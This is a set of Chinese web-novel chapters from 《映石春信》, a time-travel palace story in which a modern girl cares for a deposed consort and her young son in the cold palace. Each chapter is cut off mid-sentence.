《映石春信》 1. 除夕 《映石春信》全本免费阅读 除夕夜,皇城街上。 雪霁寒宵,红梅上缀着一丝银光,与廊下灯笼争相辉映。万家灯火通明,烟火漫天,灿若霞布。街道上人群攒动,无论大人小孩,纷纷邀朋约友,夜游城街。 皇城宫内,戏班子也在夜宴上咿咿呀呀地唱着戏曲,宫中妃嫔以及王孙公子们推杯交盏间,也说着吉祥的话,俨然是一派热闹的景象。似乎所有人都暂且放下往日恩怨,展露笑颜。 可与外面的锣鼓喧天,鞭炮齐鸣相比,皇宫内某一隅的冷宫就显得格外冷清了。 这里没有烟花相称,甚至就连烟花都不愿意怜惜此地,不愿叫那里的人听见它的声音。于是便只能透过宫墙瞧见几色残影,转瞬即逝。 宫内只燃着一支蜡烛,可是这微弱的火光,也根本无法照亮这寒冷冬夜,更别提驱散寒风。 火光在风中摇曳,影影绰绰,映在地上投射出两道模糊的影子。 姜念念面上沉着冷静,端得是一副处变不惊的神情,可是她的心底却早已发出了尖叫。她心跳如鼓,有震惊、有惶恐,还有一丝不知所措的茫然。 而在姜念念对面,站着一个看起来瘦瘦小小,衣服也残破不堪的……小孩。 小孩神情警惕,眼中还闪烁着浓烈防备,他的双拳紧攥,可掌心处却只是一枝根本来不及扫去浮雪的枯枝。姜念念不难觉得,那枯枝根本造不成任何伤害,甚至还可能轻轻一折就会断为两截。 他见姜念念一直没有说话,心底的防备更甚,再次开口质问:“你是谁?” 似乎是为了给自己打气,他的声音都不自觉地放大,可又像是怕打扰了什么人似的,又被刻意压低。 姜念念这时才从出神中反应过来,甩掉自己脑海里那些乱七八糟的东西,暂且不去想它们,然后面带友好地举起双手,安抚道:“你别害怕,我不会伤害你的。” “所有人都是这么说的。”那个小孩很明显就是不信,直接拿话呛了回去。 姜念念一时气急,可是又实在编不出什么好的理由,毕竟现在就连她自己都还是处于蒙圈的状态。她犹记得今天是除夕,她晚上还和家人一起过了生日,不过最后她实在抵不住困意,她家里没有守岁的习惯,所以就先回房间睡觉了。结果一睁眼,她就站在这个地方。 而唯一有迹可循的,大概就是她今天在阁楼上收拾东西时,翻到一块玉佩,以及一张似乎是写着一位君王生平的纸页。她当时并没有在意,随手就将玉佩收了起来,晚上睡觉之前她好奇拿在手上看了两眼,结果就直接睡着了。 现在想来,她在睡梦中的时候,的确感到掌心一阵炽热,她当时没当回事,结果就让她直接来到了一个陌生的世界,并且还和这个小孩来个了面对面的对峙。 就在两人你不言我不语,却始终僵持不下的时候,终于有一道细弱的咳嗽声,打破了这诡异的一幕。 小孩听到声音,也不再管姜念念,直接丢下手中的树枝,转身挤开姜念念,朝着屋内走去。 姜念念被撞得一个趔趄,差点没摔进雪地里,嘴里嘀咕了一句“没礼貌”,身体却还是很实诚地跟上了小孩的脚步,走近了内屋。 没有其他理由,她是真的觉得太冷了。这屋子四处漏风,尤其是大门敞开,那风便直往身体里钻。刚刚她和小孩对峙时,就差点被冻得投降,不过看到那小孩穿着单薄还站在风口里,居然也没有丝毫的让步,她就又咬牙坚持了下来。 可是眼下姜念念跟着小孩进了里屋,却也根本没有感到一丝的温暖。屋内一片潮湿,甚至就连盆里装的炭火都已经熄灭,再也生不出一丝热意来。 姜念念看到那小孩此时正扶着床上的女人坐起身,转身去给女人倒水的空档,就看到了姜念念站在门口。他顿时瞪大了双眼,大声道:“你还跟着做什么?” “阿寂……”床上的女人连忙出声制止,“不可无礼。” 被唤作“阿寂”的小孩被女人说了一句之后,抿唇不再说话,可是背地里却仍是瞪了姜念念一眼。 姜念念:“……” 从小孩的身上移开视线,姜念念这才认真看向了床上的那个女人。她的面容枯槁,俨然是一副行将就木、苟延残喘的模样,可是听她那声音,却带着与生俱来的婉转动听,也不似年老色衰的妇人。 是生病了吗?姜念念心中不禁想道。 女人虽神色萎靡,谈吐举止却称得上端庄大气,就像是刻在骨子里一样,哪怕是抱死之躯,也丝毫不曾忘却。 见到姜念念这般肆无忌惮地打量自己,女人也没有流露出半分厌烦之色,她只是轻轻地笑,扫了一眼姜念念的服饰,遂问:“你是哪个宫里的小宫女,误闯进这冷宫里了吗?” 姜念念一愣,随即想到这正是为自己冠以身份的好机会,于是便点头应下:“是的。” “看着倒是机灵,我倒是好久没有见到你这么活泼的人儿了。不过今日在我这里就算了,他日在宫中行走,还是要小心些,免得被人抓住了把柄……”女人说着说着,突然又顿住,而后又轻嘲了一声,“瞧我,居然又忘了自己的身份,我又有什么资格来说你呢。” “母妃,你和她说这些做什么?”小孩气鼓鼓着一张脸,不满地说道。说话间他端着碗走到女人身边,又道,“母妃,喝点热水暖暖身子吧。” 姜念念对小孩的话罔若未闻,从他们刚刚的只言片语中听出了女人的身份,随即道:“多谢娘娘提醒。” 的确是要谢的。 姜念念初来乍到,对这里的一切都是极为陌生,如果不是恰好来到了这里,又得到了女人刚刚的提醒,她大概要不了多久就会被随便什么人给处死了。 可那个小孩并不觉得姜念念这道谢是真心实意,他始终觉得这个突然冒出来,压根不知道打哪来的小宫女肯定心怀不轨。不过碍于女人在场,他也不好多说什么。 女人摇了摇头,眉眼垂下,凄然道:“我已不过是一介废妃,如何能担得上‘娘娘’这个称呼。” 冷宫外烟火不断,冷宫内残烛摇曳,女人喝了热水后终于感到身子回暖了些,她轻咳了一声,又重新看向姜念念:“时候不早了,你也快些离开这吧,免得被什么人瞧见。” 姜念念看看女人,又看看那小孩,最终还是摇了摇头。 女人怔了一下,面上第一次出现了错愕,“你不走?” 姜念念也有自己的考量,“娘娘说得对,奴婢在哪都是不起眼的宫女,身在宫中生死也由不得自己。”这里虽然是冷宫,而且也实在冷得厉害,可是这里人不多,总好过外面的尔虞我诈。 现在最重要的,还是先保住自己的小命,然后再找回去的办法。 那个玉佩好像自打她来到这里后,就已经消失不见,她不知道是落到了哪里,又是否是她回去的契机,这些她还需要找机会暗中打探。 可是姜念念的话音刚落,女人还没说什么,小孩就已经率先反驳道:“这里也不比外面安全,你要是做了坏事想躲这里,那你就打错主意了!” “阿寂。”女人又柔声唤 2. 冷宫 《映石春信》全本免费阅读 翌日姜念念是被冻醒的,没办法,天气太冷,屋子又四面漏风,甚至就连被子都有些潮湿,她勉强睡了一夜后,醒来只感觉全身都更冷了。 转头瞧见天色还未大亮,热闹过一夜的京城,现在已然还在沉睡。 整个世界都静悄悄地,唯恐惊扰了沉睡中的人们。 姜念念穿戴整齐走下了床,她向来秉持着“既来之则安之”的心态,一觉醒来发现自己仍旧还在这个世界,她心底也就没有多少的惊慌了。想到昨天她和秦婉蓉的约定,姜念念心底终于有一丝回过味来了。 不过想归想,姜念念还是很感激秦婉蓉能够准许她留下。她虽然来自现代,与这个世界而言可能还有些格格不入,不过她断然不会像小说中的那些穿越女主一样,自诩来自现代便自视清高。在这个地方,无论是谁,都比她这个外来者更加危险。 姜念念想着又走到梳妆台前,她看着镜子里那张熟悉的脸,心中又是一阵感慨。原身大概原本就是宫中的宫女,结果就这么阴差阳错地被她占了身体,也不知道现在她到底在哪里。 想归想,姜念念给自己照着昨天的发型给自己重新梳好了头,然后就推开了屋内。老旧的木头门随着姜念念的动作,发出了一阵痛苦的“吱呀”声,仿佛随时都可能寿终正寝。 感觉到有些饿了,她找到了小厨房,结果在里面只看到了一些发霉的米,还有一些蔫答的菜叶,但是没有生火的柴木。姜念念实在没料到,明明是大过年的,居然都没人来管秦婉蓉,甚至连好一点的食物都不愿意送过来。 不过仔细想想,昨晚她见到秦婉蓉的身体,似乎也生了很重的病,但是却连药都没有。屋内四面漏风,连盆炭火都已经凉透,而这里的人就如同那盆炭火一样,无人理睬。 他们留下他们的性命,任由他们苟延残喘,却对他们的遭遇视若无睹,仿佛就是在等着他们自己病死或者饿死了。 姜念念突然感到一阵恶寒,如坠冰窟。 实在找不到吃的,姜念念也只得作罢,她转身出了小厨房,结果迎面就和沈南寂撞了个照面。 沈南寂看到姜念念后,立马便瞪大了眼睛,质问道:“你来这里做什么?” 这本来也就是姜念念出来乱跑,她也只好老老实实地回答:“饿了,想找吃的。” 沈南寂大概也是没料到姜念念居然会说出这样的话,他的神情在短暂的错愕之后,随即又变为了嘲讽:“这里没有你想要的食物,你要是不习惯,就尽早离开吧。” 姜念念刚刚就已经猜到冷宫的现状,不过眼下听到沈南寂的话,她也还是装作毫不在意地说道:“哦,这样啊,那就算了。” 沈南寂如今也不过就是八九岁的模样,再加上本就有些营养不良,所以看起来更是瘦瘦小小。这样站在姜念念的面前,居然矮了她一大截。 而正是这样的差距,让沈南寂能够更加清晰地看见姜念念的表情。明明她的语气格外嘲讽,甚至像是在故意呛人,可是她的神情却没有丝毫的鄙夷或是厌恶。 沈南寂不知道姜念念究竟在想什么,转念想到昨晚秦婉蓉对他的叮嘱,他也没再怂恿姜念念离开。 顿了顿,在转身离开之前,沈南寂嗫嚅了一下,最终还是说道:“这几日是新年,宫中都在设宴朝贺,没人会记得我们的。那些宫人们平日里就不待见我和母妃,这种喜庆日子自然不会想要踏足这个晦气地方。只能等他们哪天高兴了,兴许还能赏我们几口饭食。” 姜念念听了,一时也不知道该如何安慰。可是转念一想,沈南寂活至今日,恐怕也不在乎这无意义的安慰。 两人谁都没有再说话,沈南寂也不再管姜念念,径自走到墙角拿了扫帚扫门前的雪,甚至都没有出言让姜念念这个名副其实的宫女来扫雪。姜念念乐得自在,也没有说要去帮忙,直接就着门前的台阶上坐下,托腮看着沈南寂。 看到沈南寂这娴熟的动作,她也基本可以确定,这冷宫之中根本没有宫人,亦或者说本来是有的,不过后来他们又离开了。如今这偌大的冷宫,便只剩下沈南寂和秦婉蓉两人。 扫帚对沈南寂来说或许是有些重了,没扫一会儿沈南寂的脸上便浮现出了一丝红晕,不过他也并没有因此就停下,仍旧一下一下地挥动着扫帚。姜念念听着那有节奏的声响,逐渐陷入了回忆当中。 之前她在玉佩的旁边,发现了一张泛黄的纸页,像是从笔记本上匆忙撕下来的。而那纸上所写,似乎正是沈南寂的一生。 那上面写,沈南寂幼时遭遇宫人虐待,自他母妃去世后,他的性格便愈发古怪阴狠,为达目的无所不用其极。直到后来他在夺位之争中胜出,凭着自己的手段,不断扩大疆土,成为了令所有人都闻风丧胆的存在。 而他本人则一生未娶妻妾,于不惑之年便撒手人寰,将皇位传给了一位德才兼备之人。不过在最后,故事也曾提及到,他在年幼时,也曾遇到过一位奇女子,可是最终结局如何,却因纸张篇幅太小而断了描述。 姜念念想了想,按照他这一生的轨迹来看,那人大抵是离开了沈南寂。至于是身亡了还是抛弃了他,那就不得而知了。 姜念念看着院子里的沈南寂,如今他也不过八九岁的年纪,甚至看起来更像只有六七岁的模样,怎么也无法与故事中的那个沈南寂对上号。 她幽幽地叹了一口气,心中五味杂陈,最终在沈南寂怒目而视下,张口唤道:“喂,小孩。” 沈南寂停了手上的动作,瞪了姜念念一眼,“你才小孩,我已经长大了!” 母妃说过,只有长大了,才不会再被那些人欺负。 姜念念点头囫囵应着,却又故意问道:“那你今年多大了?” 沈南寂哪能知道姜念念心中在想什么,毫无防备地答道:“九岁。” 姜念念闻 3. 相伴 《映石春信》全本免费阅读 肚子仍旧感到饥饿,可是这样躺在阳光下,那股饥饿感似乎都减轻了不少。可能是昨夜没有睡好,迷迷糊糊中,姜念念又再次昏昏欲睡。 但她没睡多久,因为当她以为自己即将进入梦乡的时候,身上突然多了一些重量。她挣扎着从梦境中醒来,就见到沈南寂正木着脸给祂该毯子。 见她醒来,沈南寂一言不发地将毯子一丢,直接不管了。 姜念念是有些起床气的,可是这刚醒来她还有有些晃神,一时也忘了出言呛他,扭头发现秦婉蓉正含笑看着自己,她这才想起自己如今身处何地。她连忙起身道:“那个……” “没关系,姜姑娘想来是昨夜没睡好,不过,虽然这阳光正好,但还是要小心着凉。”秦婉蓉微笑着给姜念念解围,丝毫没有要出言责备的意思。 姜念念点头应着,虽然秦婉蓉并没有说什么,可她却也不好真的继续睡下去。她挣扎着让自己清醒过来,想到自己昨夜盖的那床潮湿的被褥,当即就决定将被子拿出来晒一晒。 姜念念想一出是一出,有了这个打算之后,便也不再考虑其他,转身回到自己的房间,“吭哧吭哧”地将被子抱了出来。院子里没有其它可以晒被子的地方,她就直接用闲置的凳子搭了个临时的晒被子场地。等她将被子铺好,一扭头,就见到了秦婉蓉正目不转睛地看着她。 姜念念动作一顿,突然意识到自己此刻的身份,她轻咳一声,随即故作淡定地试探开口:“娘娘,我也帮您把被子拿出来晒一晒吧。” 秦婉蓉方才似乎是想事情出了神,听到姜念念的话后,她微微颔首道:“那就有劳姜姑娘了。” 得到秦婉蓉的允许之后,姜念念顿时松了口气,她弯唇笑道:“没关系,这是我应该做的。” 究竟是身份使然,才必须这样做,还是因为秦婉蓉的收留,以示报答,姜念念没有明说,秦婉蓉也没有追问。姜念念昨夜便知晓了秦婉蓉房间的位置,今天再去自然也是轻车熟路。 她走近秦婉蓉的屋子,也没有东张西望,径直便走向床铺。她伸手抓过被褥后,发现那被褥果然也有些潮湿。 这地方阴冷潮湿,被子很容易就会被水汽浸湿,若是不常拿出来晾晒,那是绝对不行的。但秦婉蓉身子骨差,沈南寂年龄又太小,两个人自然都搬不动这被子,再加上这冷宫早已没了伺候的丫鬟太监,这两人便也只能将就着过日子。 姜念念三下五除二地将被子叠好抱起,结果一扭头就见到沈南寂正站在门口,不进也不退,就那么目不转睛地看着她。 “你在这里做什么?”姜念念出声询问。 沈南寂大概也没想到,自己居然这么快就被发现,眼底很明显闪过了一抹慌乱的神色,但嘴上却丝毫不落下风,只听他梗着脖子说:“我就是来看看,要你管!” 到底是几岁的孩子,就算嘴上再强硬,可是心底在想什么,也全写在了脸上。姜念念转了转眼珠,很快便明白过来。她微弯了弯唇角,随即唤道:“既然来了,那不如就来帮个忙,把被子一起搬出去吧。” 听到姜念念的话后,沈南寂面上一松,随后抬脚走上前来,一边走还一边说:“你自己不也能搬吗,居然还敢使唤我。” 话虽然是这样说的,但他却已经伸出手,替姜念念分担了一部分重量。 姜念念瞥了他一眼,就见他满脸写着:看吧,还不是需要我帮忙。姜念念心底有些忍俊不禁,面上却装作若无其事,仿佛没有发现他在想什么。 两人合力将被子搬出去铺好,姜念念一边调整被子方向,让它尽可能地多晒到太阳,一边对秦婉蓉说:“娘娘您身子不好,被子还是要多晒晒。普通人盖着湿被子都可能会生病,更别提您了。” 说话间,她已经将被子整理好,于是直起身来又看向秦婉蓉,继续说道:“我知道你们可能搬不动,不过以后这些事情,交给我来就好了。” 秦婉蓉一怔,随即敛下眉眼,轻声道:“姜姑娘尚还年轻,可不要意气用事,若你当真跟了我们,大概就要一辈子呆在这冷宫中了。” “那也没什么不好,至少这里比外面自在。”姜念念轻声嘀咕了一句,也不管秦婉蓉有没有听清。 “你说什么?”秦婉蓉有些疑惑地望向姜念念,问道。 姜念念摆摆手,道:“没什么。我就是说,对我来说,在哪都是一样的。” 无论这角落里的冷宫,还是冷宫外的皇宫,于她而言都没什么分别。她唯一所在意的,只是什么时候能够回家,而这一点,很显然皇宫内也不一定能找到答案。而且…… 姜念念的目光扫了一眼身旁的沈南寂,如果自己之前所看到的那些是真的,那没准跟着沈南寂,更能找到回去的线索。 她一个人在皇宫内身份低微,举步维艰,可日后沈南寂真的长大了,那帮她找个东西,似乎也不是什么难事? 想到这,姜念念便愈发坚定了自己的想法,决定自己还是一直跟着沈南寂。当然,如果可以的话,她也希望能改变点什么,比如他早死的结局什么的。 秦婉蓉并不知道姜念念此刻脑内的那些想法,她在听到姜念念的话后,一时也不知道该说些什么才好,只能无奈地叹了一口气,不再劝说。 沉默了片刻,秦婉蓉又问她:“那姜姑娘可有什么心愿?” 听到秦婉蓉的问题后,一直在旁边不做声的沈南寂,也不禁扭头看向了姜念念。 姜念念乍一听到这话,其实是有些震惊的,但她也不知道原主到底有没有什么心愿,想了想还是笑道:“这些我之前从未细想过,所以应当是没有的吧。不过如果真要说的话……我其实想回家。” “原来你想出宫?”秦婉蓉小小地惊讶了一下,随即又道,“不过若是你真的想离开,那等你到了可以出宫的年纪,我一定会想办法让你离开的。” 姜念念一听,连忙摆了摆手,她也不知道该如何向秦婉蓉解释,此“回家”非彼“回家”。况且她就算出宫去,恐怕连原主住在哪里都不知道。 于是她只能道:“不用了,我只是随口一说。” 秦婉蓉听到姜念念这话,神情一滞,又看她神色异样,下意识便觉得,大 4. 静好 《映石春信》全本免费阅读 秦婉蓉原本是背对着门的位置,姜念念瞧见她深吸了一口气后,终于转过身去,看向了那女人。 “你来这里做什么?”秦婉蓉似是瞧不见那女人神情里的嘲讽,语气还是一如既往地温和。 可她愈是这样,慕玲月便愈是气愤。她与秦婉蓉同时入宫,可是待遇却是天差地别,秦婉蓉一来便深得君心,集万千宠爱,而她却只能夜夜独守深宫。后来秦婉蓉替皇帝诞下皇子之后,她的父亲也开始对她不满,时常给她施加压力。 而她迫于压力,终于使了不算光彩的手段,得来了一夜承恩。她瞒天过海,将自己扮演成了一个受害者,躲过了惩罚,所幸那一夜之后她终于有了自己的孩子。 父亲高兴了,皇帝却没什么情绪变化。她清楚地记得,秦婉蓉刚刚被太医诊出有喜时,皇帝是有多高兴的。所以她不知道自己该不该高兴。 慕玲月时常安慰自己:没关系,等到孩子生下来了,他就算不为了我,也会因为孩子而多看我两眼的。到那时,父亲就会开心了。 可是,十个月之后,她生下了一位公主。 那时慕玲月只觉得,自己的一生大概就这样了。 然而,没过多久,前朝忽逢变故,秦家被打入大牢,皇帝虽有心护住秦婉蓉,可到底不能再如从前那般。宫中那些看不惯秦婉蓉的嫔妃,在知道秦家的事情后,便一起联合出手,暗中陷害。皇帝一开始虽然相信秦婉蓉,可是时间久了,他也渐渐动摇了自己的内心。加上前朝动荡,终于在彻底失望之后,将秦婉蓉打入了冷宫。 趁此机会,再加上父亲的相助,慕玲月终于有了靠近皇帝的机会。 时至今日,她也从当初那个不起眼的贵人,一跃成为了贵妃。 思及此,慕玲月心中的恼火消散,她神情倨傲,道:“我为何不能来?如今我已是贵妃,而你,早已不是那个高高在上的容妃。” “你来,就只是为了跟我炫耀这件事吗?”秦婉蓉似是轻轻叹了一口气,她的目光落在慕玲月的身上,眼神似带怜悯,“如果是这样的话,那你早在一个月之前,就已经来过,我也已经知道了。” 那次慕玲月来到这里,大肆地嘲弄了秦婉蓉一番,宣告着自己的胜利。可秦婉蓉只觉得她可悲,于是便问了她一句:“这真的是你想要的吗?” 慕玲月听到秦婉蓉的话后,脸色当即就变了,半晌后她丢下一句:“我再如何,也比你呆在这冷宫里强。” 然后,她便直接甩袖离去,一个月都没有再来这冷宫。 此刻,慕玲月藏在袖中的手攥了又松,已经快要感觉不到疼痛,“既然你还有力气和我争辩这些,想来精力还是不错的,那这两日的伙食,也就不需要了。” 听到慕玲月这话,秦婉蓉还没说话,沈南寂已经率先忍不住道:“凭什么?” “大人说话,小孩子插什么嘴?”慕玲月的神情一凛,瞪向了沈南寂。她一直都很讨厌这个孩子,因为他的存在,总是在提醒自己从前的不堪,于是她转头便道,“都愣着干什么,还不快把他抓住!” “你们不能抓他!” 姜念念本来是躲在角落里,不想被太多人注意到的。刚好其他人的注意力都在秦婉蓉他们身上,她也的确没有被人发现,可是眼看着慕玲月这是想要动手打沈南寂,虽然知道沈南寂大概率不会真的有生命危险,可她还是一时没忍住,直接上前拦在了沈南寂的身前。 众人也没想到会突然冲出来一个人,都同时停下了动作,而在见到姜念念的脸后,慕玲月的脸色又是一变,“是你?” 姜念念一愣,一时没有反应过来。 慕玲月见状嗤笑道:“怎么?觉得我那宫里没前途,跑到冷宫里来了?不过是打了你一顿,居然就想着逃跑,我还以为你死在了哪个角落里,没想到跑来了这里。” 姜念念闻言,手脚顿时变得冰凉。她原先只当自己是做杂役的,却没想到自己先前居然是在慕玲月的宫中,更骇人的是,她居然在逃到这里的第二天就被人发现。 想到秦婉蓉和慕玲月这势同水火的关系,姜念念心中更是绝望。知道自己的身份之后,秦婉蓉一定会觉得自己的出现是别有用心,不愿意留下她。抛开这不谈,就算她愿意相信自己,慕玲月若是执意将自己带走,秦婉蓉也断然不会阻止。 就算姜念念对这里不甚了解,可看眼下这情况,到那时,自己恐怕也是凶多吉少了。 慕玲月瞥了姜念念一眼,也不管沈南寂了,直接吩咐那些太监:“把姜念念抓住带回去,别再让她给跑了。” 得到命令后,太监们立马便上前,动手去拉姜念念。姜念念自然是不从,奋力抵抗之际,身上也不可避免地挨了几下。 就在这时,姜念念突然注意到,沈南寂居然也趁乱加入了这场纠纷,暗中帮着姜念念踩了那些太监们几脚,使得他们一时松了力道,给了姜念念摆脱他们的机会。 见此情形,慕玲月顿时怒不可遏,不过这也让她找到了挑刺的机会:“看来,这冷宫没让你学会其他的规矩,反倒让你忘了自己是谁了。” 慕玲月这话看似是对着姜念念说的,可是眼睛却一直落在秦婉蓉的身上。 秦婉蓉像是没听出慕玲月话里的讥讽,神色平淡地说:“既然她不想走,不如就让她留在这里。算是我欠你一个人情。” “欠我一个人情?”慕玲月哼笑一声,“你现在这样,能拿什么还?” “随你,怎样都可以。”秦婉蓉道,“就算你今天将人带回去了,你心里就会痛快了吗?” 慕玲月神情微怔,一时竟也没有出言反驳,直到良久之后,她才又扫了姜念念一眼,“也罢,今天就暂且先放过你。不过……”慕玲月勾唇嗤笑,“你别以为自己在这里就自由了,他们可护不住你。” 姜念念担心自己又说错了话,索性便垂着头一言不发,安静地当个鹌鹑。慕玲月也再没了挑事的心思,转身便带着一众人等离开了。 沉重的木门再次合上,姜念念听到落锁的声音,等到脚步声 5. 贵女 《映石春信》全本免费阅读 人一旦有了事情可做,便会短暂地忘记其他事,就比如此刻三人说着话,便暂时忘记了饥饿。 秦婉蓉和沈南寂说完了话,便又扭头看向了姜念念,“虽然知道你先前在她的宫中做事,可是想来你应当还不知道她入宫前的事,你要听吗?” 左右不过打发时间的事,姜念念当然不会拒绝。秦婉蓉见她点头,这才接着道:“她的父亲是镇国大将军,她也算是将门之女,而我的父亲则是大理寺卿。入宫之前,我和她也曾是至交好友。” 听到秦婉蓉的话后,姜念念顿时瞪大了眼睛,难以置信地看着秦婉蓉。秦婉蓉看出了她的震惊,却只是轻笑了一声,旋即道:“觉得很惊讶,是吗?” 姜念念迟疑了一下,最终还是诚实地点了点头。 “其实没什么好惊讶的,整个京城只有这么大,世家子弟也就那么多,不认识才奇怪。这么看来,我和她的相识,是不是就合理了很多?”秦婉蓉似是笑了一下,“只不过原先的她并不是这样的,她受家风耳濡目染,本身就是个恣意潇洒的人,我一直以为,她的命运会和我们这些自小养在深闺中的女子不一样,没想到等她到了年纪,还是逃不过入宫的命运。” “她是被迫的吗?”姜念念问。 “算是吧。”秦婉蓉这样答,有些模棱两可,随即又很快地转移了话题,“自打入宫之后,我便与她很少有过交流了,我能感觉到,她在躲着我。只是等我发现时,她早已性情大变,不再是我曾熟悉的那个慕玲月了。” 姜念念听着,心底不禁暗暗感叹,果然这宫门也不是那么好进的,生生将一个肆意洒脱的人,给逼得成了如今这般令人生惧的模样。长此以往,也许还会心中郁结,最终疯魔也说不准。 思及此,姜念念又有些同情起了慕玲月来。 秦婉蓉观其脸色,便知晓了她在想些什么,不过她的眸光微闪,终究是没有多说什么。 经此一遭,时候也已经不早了,几人说过了话,便又为了接下来的几日苦恼。 “今日那贵妃娘娘来过,回去定是嘱咐那送饭的宫女……他们本来就不待见我们,时常怠慢,现在有了贵妃娘娘的旨意,估计更乐得有了理由,理所当然地不给我们送吃食了。”沈南寂蹲坐在台阶上,闷闷不乐地开口。 秦婉蓉见姜念念没说话,方才又柔声道:“我们倒是已经习惯了,就是委屈姜姑娘要一同挨饿了。” 在得知姜念念的“真实身份”后,秦婉蓉似乎也并没有全然放在心上,对姜念念的称呼也并没有变化。反倒是原本还在沉思的姜念念,被秦婉蓉骤然提及,整个人都先是愣了一下。 不过很快,她便回过神来,忙摇了摇头,表示没关系。 三人互相安慰了一阵,虽然表面上都没什么变化,可是一想到此刻外面的人们都在欢庆着新年,而他们却要为着下一顿发愁,心底就是没来由的一阵苦涩。 姜念念不知道这两人从前是如何熬过来的,但想来一定是非常不好受的。转念想想,这两人一个身体孱弱,一个比自己还小,他们都没有抱怨,自己又有什么不能忍的?于是便也故作无所谓。 就在他们以为,这春节几天大概都要捱过去,没想到在临近晌午的时候,宫门居然被重新打开。 听到响动,姜念念立马自觉起身,盯着那门没有动作。稍后片刻,沉重的宫门发出一阵闷响,竟是被人从外面推开了。 姜念念见到来人,立时便问道:“是谁?” 门外是一个小宫女,她听到姜念念的声音后,吓得手一抖,差点将手上的东西丢出去。抬头看向姜念念的方向,见是和自己穿着同样衣服的姜念念,她很明显地怔了一下,显然是没想到,这冷宫中不知何时居然出现了一个宫女来。 然而这愣神也不过须臾,待她反应过来后,立马便换了副脸色。她将手中的东西往姜念念怀里一丢,“正好,也省得我进去了,晦气。”说罢,她还翻了个白眼,丝毫不担心会被人听去,又或者即便被谁听去,也不会将他怎么样。 姜念念低头一看,是新鲜的食物,看起来大概也够吃几天了。她的神情微变,一时也不知该是什么样的心情。而后她抬起脸,毫不走心地道:“那就多谢你了。” 那宫女显然也是没想到,姜念念居然会对自己阴阳怪气,可是姜念念又没有说什么不妥的话,也只能吃了这个哑巴亏。她瞪了姜念念一眼,眼风一扫院内的秦婉蓉等人,随后嗤笑一声,故意扬声道:“想不到居然还有人选择跟一个废妃,莫非是有些人还在痴心妄想,认为自己有翻身的机会?” “那也轮不到你来置喙!”姜念念直接挡在那宫女的面前,不给她再去看秦婉蓉的机会,“说到底,你也不过就是个宫女。要是没其他什么事的话,就慢走不送。” “你!”那宫女也没想到姜念念居然会这么直白,一时气急,可最终她不知是想到了什么,冷笑了一声后,丢下一句:“我看你们还能神气多久。”随后便转身离开了。 守在门前的守卫再次关了门,姜念念看着在面前合上的大门,听着几串脚步声的离去,这才收拾了表情转过身。 “看来,我们这几天不用挨饿了。”姜念念扬起笑来,“我去给娘娘做饭吧。” 知道姜念念这是担心她再想刚才的事,怕那宫女的话影响到了自己的心情,秦婉蓉便也没有辜负姜念念的好意,轻轻地点了一下头,“那就麻烦姜姑娘了。” 姜念念的动作一顿,总觉得秦婉蓉对自己的态度,似乎是过于客气了。身为宫女,明明做饭这些事情,本来就是该由她做的,然而秦婉蓉却不断地向她道谢。姜念念心中奇怪,却担心问多了会引起秦婉蓉的怀疑,到底还是没有刨根究底,拎着那些食材钻进了小厨房。 姜念念自小便热衷于做饭,所以此时这些事情做起来,倒也算是得心应手。她简单翻了翻那些菜,那宫女送来的食材种类并不多,大多也只是青菜,姜念念没办法,也只能先蒸了米饭,再随便炒了两盘素菜。 6. 公主 《映石春信》全本免费阅读 姜念念在想着回家的事。 自打她今天听到了关于慕玲月的故事,又见到了秦婉蓉的这一生,便愈发觉得这里不该是久留之地。 她不是没看过这一类的小说,故事里的穿越者们凭着自己的聪明才智,总能化险为夷,最终获得自己的爱情。可她不是主角,也只是一个普通人,在这样一个危机四伏的陌生世界,她随时都可能会殒命。 她惋惜秦婉蓉跌落云端的遭遇,也感慨慕玲月受人摆布的一生,可她只是一个学生,不会自大到觉得自己可以改变这一切。她是一个自私的人,她想活着,想继续回到自己那个小房间里,这里的每一个人都和她没有任何关系。 姜念念瞥了不远处的沈南寂一眼,又重新移开了眼睛。虽然她知道沈南寂之后会出人头地,可是那不代表她就可以平安,自己这样的身份,即便是死在了这深宫里,也根本不会有人在意。 阳光照得人懒洋洋的,姜念念的思绪开始神游天外,已经开始想着,自己究竟是留在这里安全些,还是冒险离开这冷宫,去求那一线生机。不过眼下她最在意的一点是,如果自己在这里死了,那她还能不能回到现代,还是说真的就一命呜呼了。 姜念念仔细考虑了一下,最终还是决定保险一些,尽量想办法打探下玉佩的消息。 “你这画的是什么?” 一道突兀的声音吓得姜念念一个激灵,她整个人惯性地向后仰,好在右手及时撑住了身后的路面,这才没有直接摔倒。也正是这时,她才发现自己的手中,不知何时居然抓了一截枯枝。 姜念念抬头看向不知何时出现的沈南寂,他正歪头望着自己,眼里的疑惑毫不遮掩。见姜念念看向自己,他便又重复了一遍自己的问题,他指着姜念念面前的地面,问:“你画的是什么?” 姜念念这才从游离的思绪中回过神来,她缓了缓受到惊吓的心,然后顺着沈南寂所指的方向看去。这一看才发现,原来刚刚她发呆的时候,居然下意识地就捡了手边的一截枯枝,在地上描了那枚玉佩的一个大致轮廓。 姜念念心中暗恼,正想要将那图案擦去,突然又想到了什么,于是她便鬼使神差地抬头看向了沈南寂,状似不经意地问道:“你见过这个图案吗?” 沈南寂闻言上前一步,歪着头仔细地观察了片刻,随即茫然地摇了摇头,道:“没见过,这是什么?” 听到沈南寂的回答,姜念念倒是没有多少失望的情绪,毕竟她原先也就没有抱太大的希望,认为沈南寂会见过这东西。于是她一丢手上的断枝,然后抬脚踢去那个图案,对沈南寂道:“没什么,我随便画的。” 也许是她的神情太过无所谓,如今的沈南寂也根本看不出来,姜念念到底有没有在骗他。见姜念念这样说了,他便也当了真,似懂非懂地点了点头。 为了防止沈南寂继续在这个问题上多想,姜念念直接岔开了话题,询问道:“你不是在睡觉吗,怎么又醒了?” 沈南寂摇头,“我没有睡着。” 姜念念一愣,这才发现是自己先入为主了,不过好在沈南寂没有再追问图案的事,她便也没再追问下去,直接三言两语打发了沈南寂回去,自己则是继续坐在那里放空思绪,神游天外。 等到阳光渐弱,姜念念将被子收回去铺好,等他们吃过了晚饭后,几人便各自回了屋中。 姜念念洗漱好后,便直接躺到了自己的床上,晒过太阳后的被子终于没了昨日的那股潮湿气。不知是宫内哪个方向种了腊梅,在白日的时候,叫被子粘上了香味。姜念念深吸了一口气,阳光和腊梅花香的气味扑鼻而来,就仿佛她此刻也置身于阳光和腊梅树下一般。在这样的环境下,姜念念很快便沉入了梦乡。 一夜好梦。 翌日姜念念醒时,天色已经微亮,她刚将手试探着伸出被子,便只觉一阵凉意袭来,惊得她忙又缩回了手。 